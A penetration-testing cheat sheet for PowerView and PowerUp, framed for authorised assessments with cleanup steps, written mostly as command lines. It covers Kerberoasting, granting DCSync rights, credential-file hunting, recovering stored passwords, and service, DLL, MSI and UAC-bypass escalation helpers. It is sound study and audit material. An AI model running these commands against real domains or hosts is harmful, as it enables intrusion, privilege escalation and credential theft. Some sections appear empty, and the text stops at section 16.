PowerView + PowerUp — Deep-Dive Cheat Sheet

[!info] Two tools, two scopes PowerView inventories and, where authorised, modifies Active Directory through LDAP, .NET, WMI, and Windows APIs. PowerUp audits and validates local Windows privilege-escalation misconfigurations. A useful mental model is: PowerView answers “what can this identity reach or control in the domain?”; PowerUp answers “what can this identity control on this host?”

[!warning] Authorised use only Several commands below alter users, groups, ACLs, services, files, or registry state. Use them only in a lab or an explicitly authorised assessment. Snapshot the original state, make one change at a time, verify it, and run the paired cleanup. Discovery commands can also generate LDAP, SMB, WMI, service-control, and security-event telemetry.

[!note] Version pin Commands were checked against the copies bundled with this vault: PowerView.ps1 (SHA-256) and PowerUp.ps1 (SHA-256). These are the PowerSploit-style scripts, not Microsoft Graph PowerShell, Azure PowerShell, PowerView.py, SharpView, or PowerUpSQL.

• PowerView.ps1 SHA-256: 507e8666c239397561c58609f7ea569c9c49ddbb900cd260e7e42b02d03cfd87
• PowerUp.ps1 SHA-256: 9d59d4c128570eb80c0e8d13e2185030f93d965278b203c91dd196b2e1d3cd22

Table of Contents

1. Fast Start
2. Command Model and Common Parameters
3. PowerView — Domain and Forest Topology
4. PowerView — Users, Computers, and Groups
5. PowerView — Kerberos and Delegation
6. PowerView — ACL Analysis
7. PowerView — GPOs, OUs, Sites, and Policy
8. PowerView — Sessions, Shares, Processes, and Local Admin
9. PowerView — Alternate Credentials and Impersonation
10. PowerView — Authorised Object Changes and Cleanup
11. PowerView — Output, Filtering, and Export
12. PowerUp — Audit and Triage
13. PowerUp — Service Misconfigurations
14. PowerUp — DLL, PATH, Autorun, and Task Findings
15. PowerUp — Credential and Installer Findings
16. PowerUp — Validation, Abuse Helpers, and Restoration
17. Worked Workflows
18. Troubleshooting
19. Function and Alias Index
20. One-Screen Quick Reference

1. Fast Start

1.1 Load the bundled scripts

Copy the scripts to an authorised Windows test host and load them into the current PowerShell process:

# Dot-source: functions remain available in the current scope
. .\PowerView.ps1
. .\PowerUp.ps1

# Confirm the expected functions loaded
Get-Command Get-DomainUser, Get-DomainComputer, Invoke-Kerberoast
Get-Command Invoke-PrivescAudit, Get-ModifiableService, Get-UnquotedService

Import-Module .\PowerView.ps1 and Import-Module .\PowerUp.ps1 can also work, but dot-sourcing is predictable for standalone .ps1 files.

[!tip] Preserve the evidence trail Before running a large query, start a transcript and create a dedicated output directory:

New-Item -ItemType Directory -Force C:\Temp\assessment | Out-Null
Start-Transcript -Path C:\Temp\assessment\powershell-transcript.txt

1.2 Define reusable assessment values

$Domain = 'corp.local'
$DC     = 'dc01.corp.local'
$Target = 'alice'
$Host1  = 'ws01.corp.local'
$Out    = 'C:\Temp\assessment'

1.3 First five commands

# Current domain and DCs
Get-Domain
Get-DomainController | Select-Object Name,IPAddress,SiteName,OperatingSystem

# High-value domain principals
Get-DomainUser -AdminCount | Select-Object samaccountname,description,memberof
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# Local escalation audit
Invoke-PrivescAudit -Format List

1.4 Read-only-first workflow

1. Establish identity and host context
2. Enumerate narrowly with explicit properties
3. Validate candidate access or misconfiguration
4. Record the original state
5. Make the smallest authorised change
6. Verify impact
7. Restore and verify the original state

2. Command Model and Common Parameters

2.1 PowerView query pattern

Most domain functions follow the same shape:

Get-Domain<Object> `
  -Identity <name|DN|SID|GUID> `
  -Domain corp.local `
  -Server dc01.corp.local `
  -LDAPFilter '<ldap-filter>' `
  -SearchBase 'LDAP://OU=Servers,DC=corp,DC=local' `
  -Properties samaccountname,distinguishedname `
  -Credential $Cred

2.2 Prefer server-side filters

# Better: DC returns only matching objects
Get-DomainUser -LDAPFilter '(description=*admin*)' -Properties samaccountname,description

# Noisier: retrieve all users, then filter locally
Get-DomainUser | Where-Object description -Like '*admin*'

2.3 Useful LDAP syntax

2.4 Identity and name conversion

Resolve-IPAddress dc01.corp.local
ConvertTo-SID 'CORP\alice'
ConvertFrom-SID 'S-1-5-21-111111111-222222222-333333333-1105'
Convert-ADName 'CORP\alice' -OutputType Canonical
ConvertFrom-UACValue 4260352
Get-DomainSID -Domain corp.local

3. PowerView — Domain and Forest Topology

3.1 Domain and controllers

Get-Domain
Get-Domain -Domain child.corp.local

Get-DomainController
Get-DomainController -Domain corp.local
Get-DomainController -Domain corp.local -Server dc01.corp.local
Get-DomainController | Format-Table Name,IPAddress,SiteName,OperatingSystem -AutoSize

3.2 Forest, domains, global catalogs, and schema

Get-Forest
Get-Forest -Forest corp.local
Get-ForestDomain
Get-ForestGlobalCatalog
Get-ForestSchemaClass -ClassName user

3.3 Trusts and foreign principals

# Current domain's trusts
Get-DomainTrust

# Query a specific domain or use alternative enumeration methods
Get-DomainTrust -Domain corp.local
Get-DomainTrust -Domain corp.local -API
Get-DomainTrust -Domain corp.local -NET

# Forest trusts and recursively mapped trust graph
Get-ForestTrust
Get-DomainTrustMapping

# Cross-domain membership indicators
Get-DomainForeignUser
Get-DomainForeignGroupMember

Interpret the direction from the queried domain’s perspective and verify it before planning access:

3.4 Sites, subnets, and DNS

Get-DomainSite | Select-Object name,distinguishedname
Get-DomainSubnet | Select-Object name,siteobject
Get-NetComputerSiteName -ComputerName ws01.corp.local

Get-DomainDNSZone
Get-DomainDNSRecord -ZoneName corp.local
Get-DomainDNSRecord -ZoneName corp.local | Where-Object name -Like 'dc01*'

4. PowerView — Users, Computers, and Groups

4.1 Users

# One user, selected properties
Get-DomainUser -Identity alice -Properties samaccountname,displayname,description,memberof,pwdlastset,lastlogon

# Several identities
'alice','bob','svc_sql' | Get-DomainUser -Properties samaccountname,useraccountcontrol

# Privileged/protected accounts
Get-DomainUser -AdminCount -Properties samaccountname,admincount,memberof

# Enabled users with descriptions
Get-DomainUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(description=*))' `
  -Properties samaccountname,description

# Password and logon hygiene
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD
Get-DomainUser -UACFilter PASSWD_NOTREQD
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
Get-DomainUser -PreauthNotRequired

# Users with SPNs
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon

# Recently changed account attributes
Get-DomainObjectAttributeHistory -Identity alice
Get-DomainObjectLinkedAttributeHistory -Identity 'Domain Admins'

[!note] Date properties PowerView converts several LDAP timestamps for display, but not every property is guaranteed to be a native DateTime. Inspect the type before comparing: $x.pwdlastset.GetType().FullName.

4.2 Computers

# Inventory
Get-DomainComputer -Properties dnshostname,operatingsystem,operatingsystemversion,lastlogondate

# Specific host or OS family
Get-DomainComputer -Identity ws01
Get-DomainComputer -OperatingSystem '*Server*'
Get-DomainComputer -OperatingSystem '*Windows 10*'

# Servers offering a specific SPN
Get-DomainComputer -SPN 'MSSQLSvc*' -Properties dnshostname,serviceprincipalname

# Delegation-related computer flags
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto

# Print-spooler service check supported by this PowerView build
Get-DomainComputer -Printers -Properties dnshostname

# Stale computers: retrieve then compare locally
$Cutoff = (Get-Date).AddDays(-90)
Get-DomainComputer -Properties dnshostname,lastlogondate,pwdlastset |
  Where-Object { $_.lastlogondate -and $_.lastlogondate -lt $Cutoff }

4.3 Groups and membership

Get-DomainGroup
Get-DomainGroup -Identity 'Domain Admins'
Get-DomainGroup -AdminCount

# Direct and recursive membership
Get-DomainGroupMember -Identity 'Domain Admins'
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# Resolve a user's group memberships from the user side
Get-DomainGroup -MemberIdentity alice

# Managed security groups and removed members
Get-DomainManagedSecurityGroup
Get-DomainGroupMemberDeleted -Identity 'Domain Admins'

4.4 Generic object search

Use Get-DomainObject when a specialised function does not expose the object or property you need:

Get-DomainObject -Identity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local'
Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
  -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity
Get-DomainObject -SearchBase 'LDAP://CN=Configuration,DC=corp,DC=local' `
  -LDAPFilter '(objectClass=pKIEnrollmentService)'

4.5 High-value hunting filters

# AS-REP roastable: DONT_REQ_PREAUTH (4194304)
Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' `
  -Properties samaccountname,pwdlastset

# Unconstrained delegation: TRUSTED_FOR_DELEGATION (524288), excluding DC computer accounts if desired
Get-DomainComputer -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
  -Properties dnshostname,useraccountcontrol

# Resource-based constrained delegation configured
Get-DomainComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
  -Properties dnshostname,msds-allowedtoactonbehalfofotheridentity

# Descriptions that may contain operational notes
Get-DomainObject -LDAPFilter '(|(description=*pass*)(info=*pass*))' `
  -Properties samaccountname,description,info

# Accounts protected by AdminSDHolder
Get-DomainObject -LDAPFilter '(adminCount=1)' -Properties samaccountname,objectclass,memberof

5. PowerView — Kerberos and Delegation

5.1 Kerberoast candidates

# Enumerate first
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon

# Exclude krbtgt and disabled users in a server-side filter
Get-DomainUser -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
  -Properties samaccountname,serviceprincipalname,pwdlastset

5.2 Request service tickets in an authorised password audit

# One account
Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -OutputFormat Hashcat

# Narrow set; write hashes directly
Get-DomainUser -Identity svc_sql,svc_web |
  Get-DomainSPNTicket -OutputFormat Hashcat |
  Select-Object -ExpandProperty Hash |
  Set-Content C:\Temp\assessment\kerberoast.hashes

# Bundled helper over all matching domain users
Invoke-Kerberoast -OutputFormat Hashcat

[!warning] Telemetry Every requested service ticket can produce DC-side Kerberos service-ticket activity (commonly Event ID 4769). A PowerShell implementation is not inherently “stealthy.” Query a justified, narrow target set and record the test window.

5.3 Delegation discovery

# Unconstrained delegation
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
  -Properties samaccountname,useraccountcontrol

# Protocol transition / constrained delegation
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto

# Any classic constrained-delegation target list
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
  -Properties samaccountname,objectclass,msds-allowedtodelegateto

# RBCD attribute is set on the resource
Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
  -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity

PowerView identifies the configuration. Use BloodHound cheat sheet to model reachability and the dedicated delegation notes for a controlled end-to-end validation.

6. PowerView — ACL Analysis

6.1 Read and resolve an object’s DACL

# Resolve schema GUIDs to readable rights (slower than raw output)
Get-DomainObjectAcl -Identity alice -ResolveGUIDs

# Group DACL
Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs

# Domain root DACL
$DomainDN = (Get-Domain).distinguishedname
Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs

# Only password-reset or group-member rights
Get-DomainObjectAcl -Identity alice -ResolveGUIDs -RightsFilter ResetPassword
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs -RightsFilter WriteMembers

6.2 Resolve who an ACE belongs to

$TargetAcl = Get-DomainObjectAcl -Identity alice -ResolveGUIDs
$TargetAcl | ForEach-Object {
    [pscustomobject]@{
        Principal = ConvertFrom-SID $_.SecurityIdentifier
        Rights    = $_.ActiveDirectoryRights
        ObjectAce = $_.ObjectAceType
        Inherited = $_.IsInherited
        Type      = $_.AceType
    }
} | Format-Table -AutoSize

6.3 Find interesting domain ACLs

# Broad discovery
Find-InterestingDomainAcl -ResolveGUIDs

# Focus on ACEs held by a principal SID
$MySid = ConvertTo-SID 'CORP\analyst'
Find-InterestingDomainAcl -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -eq $MySid }

# Investigate a particular object class or OU with SearchBase
Find-InterestingDomainAcl -ResolveGUIDs `
  -SearchBase 'LDAP://OU=Tier 0,DC=corp,DC=local'

# GPO-specific delegation
Get-GPODelegation

6.4 Rights interpretation

[!danger] An ACE is context-dependent Check AceType, IsInherited, InheritanceType, ObjectAceType, InheritedObjectAceType, target class, deny ACEs, and token group membership. Seeing the text GenericWrite in one row is not by itself proof of an exploitable path.

6.5 Find anomalous attributes

Find-DomainObjectPropertyOutlier -ClassName User
Find-DomainObjectPropertyOutlier -ClassName Group
Find-DomainObjectPropertyOutlier -ClassName Computer

7. PowerView — GPOs, OUs, Sites, and Policy

7.1 OUs and linked GPOs

Get-DomainOU -Properties name,distinguishedname,gplink
Get-DomainOU -Identity 'Domain Controllers' -Properties name,gplink

Get-DomainGPO | Select-Object displayname,name,gpcfilesyspath
Get-DomainGPO -Identity 'Default Domain Policy'
Get-DomainGPO -ComputerIdentity ws01
Get-DomainGPO -UserIdentity alice

7.2 Local-group effects from GPO

# Restricted Groups and Group Policy Preferences local groups
Get-DomainGPOLocalGroup

# Where is a user/group granted local Administrators or RDP membership?
Get-DomainGPOUserLocalGroupMapping -Identity 'CORP\Help Desk' -LocalGroup Administrators
Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup RDP

# Who becomes local admin/RDP user on one computer or OU?
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity ws01 -LocalGroup Administrators
Get-DomainGPOComputerLocalGroupMapping -OUIdentity 'OU=Workstations,DC=corp,DC=local' -LocalGroup RDP

7.3 Domain policy

Get-DomainPolicyData
Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess
Get-DomainPolicyData -Policy DC

# Common fields to review
$Policy = Get-DomainPolicyData
$Policy.SystemAccess | Format-List MinimumPasswordAge,MaximumPasswordAge,MinimumPasswordLength,PasswordComplexity,LockoutBadCount,ResetLockoutCount,LockoutDuration

7.4 GPO file helpers

$Gpo = Get-DomainGPO -Identity 'Default Domain Policy'
Get-GptTmpl -GptTmplPath "$($Gpo.gpcfilesyspath)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

8. PowerView — Sessions, Shares, Processes, and Local Admin

8.1 One-host enumeration

Get-NetShare -ComputerName ws01
Get-NetSession -ComputerName fs01
Get-NetLoggedon -ComputerName ws01
Get-RegLoggedOn -ComputerName ws01
Get-NetRDPSession -ComputerName ws01
Get-NetLocalGroup -ComputerName ws01
Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators
Get-WMIProcess -ComputerName ws01
Test-AdminAccess -ComputerName ws01

What the session functions actually observe:

8.2 Domain-wide discovery

# Find accessible shares; check actual read access
Find-DomainShare -CheckShareAccess -Threads 20

# Search readable shares for default interesting filenames
Find-InterestingDomainShareFile -Threads 20

# Narrow file search
Find-InterestingDomainShareFile -Include '*.kdbx','*password*','unattend*.xml' -Threads 10

# Find machines where current identity is local admin
Find-LocalAdminAccess -Threads 20

# Enumerate local Administrators members across domain systems
Find-DomainLocalGroupMember -GroupName Administrators -Threads 20

# Find where a named user is logged on
Find-DomainUserLocation -UserIdentity alice -Threads 10

# Search for interesting processes
Find-DomainProcess -ProcessName 'keepass','mstsc' -Threads 10

[!warning] Fan-out noise Hunter functions contact many endpoints. -Threads changes speed, not authorisation or detectability. Start with a supplied -ComputerName list or restrictive computer LDAP filter, then expand only when justified.

8.3 File servers, DFS, and targeted file searches

Get-DomainFileServer
Get-DomainDFSShare

Find-InterestingFile -Path '\\fs01\Finance' -Include '*.kdbx','*.config','*password*'
Find-InterestingFile -Path 'C:\Users' -OfficeDocs -LastAccessTime (Get-Date).AddDays(-30)

8.4 Remote registry artefacts

Get-WMIRegProxy -ComputerName ws01
Get-WMIRegLastLoggedOn -ComputerName ws01
Get-WMIRegCachedRDPConnection -ComputerName ws01
Get-WMIRegMountedDrive -ComputerName ws01

9. PowerView — Alternate Credentials and Impersonation

9.1 PSCredential for LDAP/WMI-aware functions

$Cred = Get-Credential 'CORP\auditor'
Get-DomainUser -Domain corp.local -Server dc01.corp.local -Credential $Cred
Get-DomainComputer -Domain corp.local -Credential $Cred
Get-DomainObjectAcl -Identity alice -ResolveGUIDs -Credential $Cred

9.2 Network-logon impersonation

$Cred  = Get-Credential 'CORP\auditor'
$Token = Invoke-UserImpersonation -Credential $Cred

try {
    Get-DomainUser -Identity alice
    Get-NetShare -ComputerName fs01
}
finally {
    Invoke-RevertToSelf
    if ($Token) { $Token.Dispose() }
}

9.3 Explicit remote share connection

$Cred = Get-Credential 'CORP\auditor'
Add-RemoteConnection -ComputerName fs01.corp.local -Credential $Cred
Get-ChildItem '\\fs01.corp.local\Finance'
Remove-RemoteConnection -ComputerName fs01.corp.local

[!important] Credential boundaries PSCredential means username/password authentication through APIs that accept it. It does not inject an NTLM hash or Kerberos ticket. Also avoid opening two SMB connections to the same server under different usernames in one logon session; Windows can return error 1219.

10. PowerView — Authorised Object Changes and Cleanup

10.1 Rules before any write

# Record current object and ACL state
Get-DomainObject -Identity $Target |
  Export-Clixml "$Out\$Target-before.xml"
Get-DomainObjectAcl -Identity $Target -ResolveGUIDs |
  Export-Csv "$Out\$Target-acl-before.csv" -NoTypeInformation

Use a change ticket/test identifier in your notes. Do not assume the inverse command reconstructs inherited ACE ordering, protected DACL state, or an overwritten attribute’s prior value.

10.2 Create and remove a test user/group

$TempPass = Read-Host 'Temporary password' -AsSecureString
New-DomainUser -SamAccountName pv-audit-user -AccountPassword $TempPass
New-DomainGroup -SamAccountName pv-audit-group

# PowerView has creation helpers but no matching remove-object helper in this build.
# Remove with approved AD administration tooling after validation.

10.3 Password reset with delegated rights

$NewPass = Read-Host 'New password' -AsSecureString
Set-DomainUserPassword -Identity alice -AccountPassword $NewPass

Password resets are disruptive: they can invalidate saved credentials, DPAPI access, services, scheduled tasks, and user sessions. Do not “restore” an unknown original password.

10.4 Group membership with paired cleanup

# Verify before
Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user'

# Change
Add-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user'

# Verify and clean up
Get-DomainGroupMember -Identity 'Help Desk' | Where-Object MemberName -eq 'pv-audit-user'
Remove-DomainGroupMember -Identity 'Help Desk' -Members 'pv-audit-user'

10.5 Attribute modification

# Capture original value
$Before = Get-DomainObject -Identity alice -Properties description
$Before | Export-Clixml "$Out\alice-description-before.xml"

# Replace, append, or clear
Set-DomainObject -Identity alice -Set @{description='Authorised validation CHG-1234'}
Set-DomainObject -Identity alice -XOR @{useraccountcontrol=65536}
Set-DomainObject -Identity alice -Clear description

# Restore exact original value when known
if ($null -ne $Before.description) {
    Set-DomainObject -Identity alice -Set @{description=$Before.description}
} else {
    Set-DomainObject -Identity alice -Clear description
}

This bundled build supports -Set, -Clear, and -XOR: -Set replaces the property value, -Clear removes it, and -XOR toggles specified bit flags. It does not expose the -Add/-Remove switches found in some other AD cmdlets or PowerView forks. For a multi-valued attribute, capture the full original array and use approved AD administration tooling when a precise single-value add/remove is required.

10.6 Ownership change and restoration

$TargetDN      = (Get-DomainObject -Identity 'Help Desk').distinguishedname
$OriginalOwner = (Get-Acl "AD:$TargetDN").Owner

Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity 'CORP\pv-audit-user'

# Perform only the authorised validation, then restore owner
Set-DomainObjectOwner -Identity 'Help Desk' -OwnerIdentity $OriginalOwner

If the AD: PSDrive is unavailable, record the owner from Get-DomainObjectAcl/an approved AD ACL tool before changing it.

10.7 Add and remove a test ACE

# Add narrowly scoped group-member write right
Add-DomainObjectAcl `
  -TargetIdentity 'Help Desk' `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights WriteMembers

# Validate
Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs -RightsFilter WriteMembers |
  Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' }

# Remove the same ACE
Remove-DomainObjectAcl `
  -TargetIdentity 'Help Desk' `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights WriteMembers

10.8 DCSync-right validation and cleanup

$DomainDN = (Get-Domain).distinguishedname

Add-DomainObjectAcl `
  -TargetIdentity $DomainDN `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights DCSync

# Verify ACEs only; extracting secrets is a separate, higher-impact action
Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs |
  Where-Object { (ConvertFrom-SID $_.SecurityIdentifier) -like '*pv-audit-user' }

Remove-DomainObjectAcl `
  -TargetIdentity $DomainDN `
  -PrincipalIdentity 'pv-audit-user' `
  -Rights DCSync

10.9 GenericAll test ACE

Add-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All

# Cleanup must use the identical target, principal, and right
Remove-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity pv-audit-user -Rights All

[!danger] -Rights All is broad Prefer ResetPassword, WriteMembers, a specific -RightsGUID, or another narrow test whenever the assessment objective allows it.

11. PowerView — Output, Filtering, and Export

11.1 Shape output early

Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset |
  Sort-Object pwdlastset |
  Format-Table -AutoSize

Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname,operatingsystem,lastlogondate |
  Select-Object dnshostname,operatingsystem,lastlogondate |
  Export-Csv "$Out\servers.csv" -NoTypeInformation

11.2 Preserve nested values

CSV flattens arrays. Join them explicitly or use CLIXML/JSON:

Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname |
  Select-Object samaccountname,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} |
  Export-Csv "$Out\spn-users.csv" -NoTypeInformation

Get-DomainUser -Identity alice |
  Export-Clixml "$Out\alice.xml"

Get-DomainUser -Identity alice -Properties samaccountname,memberof |
  ConvertTo-Json -Depth 5 |
  Set-Content "$Out\alice.json"

11.3 Bundled CSV helper

Get-DomainComputer -OperatingSystem '*Server*' |
  Export-PowerViewCSV -Path "$Out\servers-powerview.csv"

11.4 Measure before fan-out

$Servers = Get-DomainComputer -OperatingSystem '*Server*' -Properties dnshostname |
  Select-Object -ExpandProperty dnshostname
$Servers.Count
$Servers | Select-Object -First 10

12. PowerUp — Audit and Triage

12.1 Full audit formats

# Structured objects: best for filtering/export
$Findings = Invoke-PrivescAudit -Format Object
$Findings | Format-List *

# Human-readable console output
Invoke-PrivescAudit -Format List

# HTML file: COMPUTER.USER.html in current directory
Invoke-PrivescAudit -Format HTML

# Legacy alias
Invoke-AllChecks

12.2 What the full audit checks

12.3 Filter and prioritise

$Findings = Invoke-PrivescAudit -Format Object

$Findings |
  Select-Object Check,ServiceName,Path,ModifiablePath,IdentityReference,AbuseFunction |
  Format-Table -Wrap

$Findings | Where-Object Check -Match 'Service|AlwaysInstall|AutoLogon'
$Findings | Export-Clixml C:\Temp\assessment\powerup-findings.xml

Prioritise findings that are both controllable and triggerable:

12.4 Token context

Get-ProcessTokenGroup
Get-ProcessTokenPrivilege
Get-ProcessTokenPrivilege -Special
Get-ProcessTokenType

# Inspect another process where access is permitted
Get-ProcessTokenPrivilege -Id 1234

# Enabling a privilege does not grant a privilege absent from the token
Enable-Privilege SeDebugPrivilege

13. PowerUp — Service Misconfigurations

13.1 Enumerate service issues separately

Get-UnquotedService | Format-List *
Get-ModifiableServiceFile | Format-List *
Get-ModifiableService | Format-List *

13.2 Inspect one service deeply

Get-ServiceDetail -Name VulnSvc | Format-List *
Get-Service VulnSvc | Get-ServiceDetail
Get-Service VulnSvc | Add-ServiceDacl | Format-List Name,Dacl

Test-ServiceDaclPermission -Name VulnSvc -PermissionSet ChangeConfig
Test-ServiceDaclPermission -Name VulnSvc -PermissionSet Restart

Common permission sets accepted by Test-ServiceDaclPermission include:

13.3 Unquoted service paths

$U = Get-UnquotedService
$U | Select-Object ServiceName,Path,ModifiablePath,StartName,CanRestart,AbuseFunction

For a service path such as:

C:\Program Files\Acme Tools\Updater Service.exe

Windows may test executable candidates at space boundaries when the service path is unquoted. PowerUp reports only candidates whose path is modifiable. Validate with:

Get-Acl 'C:\Program Files' | Format-List
Get-Acl 'C:\Program Files\Acme Tools' | Format-List
Get-ServiceDetail -Name AcmeUpdater

13.4 Writable service binary or arguments

Get-ModifiableServiceFile |
  Select-Object ServiceName,Path,ModifiableFile,ModifiableFilePermissions,StartName,CanRestart

Distinguish these cases:

• Writable service executable: direct integrity issue, but replacement is disruptive.
• Writable configuration/argument file: impact depends on how the service consumes it.
• Writable parent directory: may allow replacement after deletion/rename depending on file ACLs.
• CanRestart = False: the issue can still trigger on boot or an operator restart, but immediate proof is riskier.

13.5 Modifiable service configuration

Get-ModifiableService |
  Select-Object ServiceName,Path,StartName,CanRestart,AbuseFunction

Record the original configuration before any approved change:

$SvcBefore = Get-ServiceDetail -Name VulnSvc
$SvcBefore | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml
sc.exe qc VulnSvc

14. PowerUp — DLL, PATH, Autorun, and Task Findings

14.1 Writable PATH directories

Find-PathDLLHijack | Format-List *

A writable %PATH% directory is a candidate, not proof. A privileged process must search that directory for a missing DLL before a protected location. Confirm with Process Monitor or application-specific evidence in a controlled test.

14.2 Process-specific DLL candidates

Find-ProcessDLLHijack
Find-ProcessDLLHijack -Name AcmeAgent
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Find-ProcessDLLHijack -ExcludeOwned

Validate:

1. The process runs in a more privileged context.
2. The DLL is genuinely missing at that search step.
3. The current identity can write the candidate location.
4. The process can be triggered safely.
5. Architecture and DLL exports/initialisation behaviour are compatible.

14.3 Registry autoruns

Get-ModifiableRegistryAutoRun | Format-List *

Check both the registry value ACL and the referenced file/directory ACL. An autorun is an escalation only when a more privileged identity executes it.

14.4 Scheduled-task files

Get-ModifiableScheduledTaskFile | Format-List *

Cross-check the actual task identity and trigger:

schtasks.exe /query /fo LIST /v
Get-ScheduledTask | Select-Object TaskName,TaskPath,State

PowerUp’s bundled check focuses on writable files referenced by task XML, not every possible task ACL or COM-handler issue.

15. PowerUp — Credential and Installer Findings

15.1 Registry autologon

Get-RegistryAutoLogon | Format-List *

Review and handle the output as credentials. Do not put it in transcripts, screenshots, shared tickets, or shell history unless the assessment rules explicitly permit it.

15.2 Unattended installation files

Get-UnattendedInstallFile

This build checks common sysprep and Windows\Panther locations. It returns candidate file paths; inspect only within scope and distinguish live secrets from redacted, encoded, or stale values.

15.3 IIS configuration

Get-WebConfig | Format-Table -AutoSize
Get-ApplicationHost | Format-Table -AutoSize

15.4 Group Policy Preferences

Get-CachedGPPPassword | Format-List *

GPP cpassword storage has long been patched for creation through normal tooling, but old XML files can persist in SYSVOL, local caches, backups, or copied policy data.

15.5 McAfee SiteList

Get-SiteListPassword
Get-SiteListPassword -Path 'C:\ProgramData\McAfee\Common Framework\SiteList.xml'

15.6 AlwaysInstallElevated

Get-RegistryAlwaysInstallElevated

# Verify both policy locations manually
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue

Both machine and current-user policy values must be enabled for the classic issue.

16. PowerUp — Validation, Abuse Helpers, and Restoration

[!danger] High-impact section The helpers below execute commands through privileged service, DLL, MSI, or UAC paths. Use only when proof of impact is explicitly required. Prefer a benign proof command that writes a uniquely named marker file over creating users, launching shells, or changing security controls.

16.1 Benign proof command

$Proof = 'cmd.exe /c whoami /all > C:\Windows\Temp\CHG-1234-whoami.txt'

The result itself may contain sensitive group/privilege data. Remove it after collection.

16.2 Modifiable service configuration

# Record first
$Before = Get-ServiceDetail -Name VulnSvc
$Before | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml

# Approved proof
Invoke-ServiceAbuse -Name VulnSvc -Command $Proof

# Inspect service state/config after execution
Get-ServiceDetail -Name VulnSvc | Format-List *
sc.exe qc VulnSvc

Invoke-ServiceAbuse attempts to restore service configuration, but always verify against the recorded baseline. A crash, timeout, AV action, or insufficient restart rights can interrupt automated cleanup.

16.3 Service binary replacement

# Creates a backup and replaces the service binary
Install-ServiceBinary -Name VulnSvc -Command $Proof

# Restore using the backup path reported/created during the operation
Restore-ServiceBinary -Name VulnSvc -BackupPath 'C:\Path\To\service.exe.bak'

Do not guess the backup filename. Capture the helper output and confirm the original file’s hash, owner, DACL, timestamps, and service health after restoration.

16.4 Unquoted-path service proof

# Use the exact candidate reported by Get-UnquotedService
Write-ServiceBinary -Name VulnSvc -Path 'C:\Program.exe' -Command $Proof

Cleanup requires removing only the created proof binary after the service has completed and confirming the legitimate service starts normally.

16.5 DLL proof helper

Write-HijackDll `
  -DllPath 'C:\ApprovedWritablePath\wlbsctrl.dll' `
  -Architecture x64 `
  -Command $Proof

Remove the generated DLL and its batch artefact after proof, then restart/retest the affected application only if the rules of engagement permit it.

16.6 AlwaysInstallElevated helper

Write-UserAddMSI -Path C:\Temp\assessment\UserAdd.msi

The bundled helper creates an interactive user/group-add MSI and is more disruptive than a marker-file proof. Treat it as a lab-only fallback; record and remove any account/group membership it creates, then delete the MSI.

16.7 UAC Event Viewer helper

Invoke-EventVwrBypass -Command $Proof

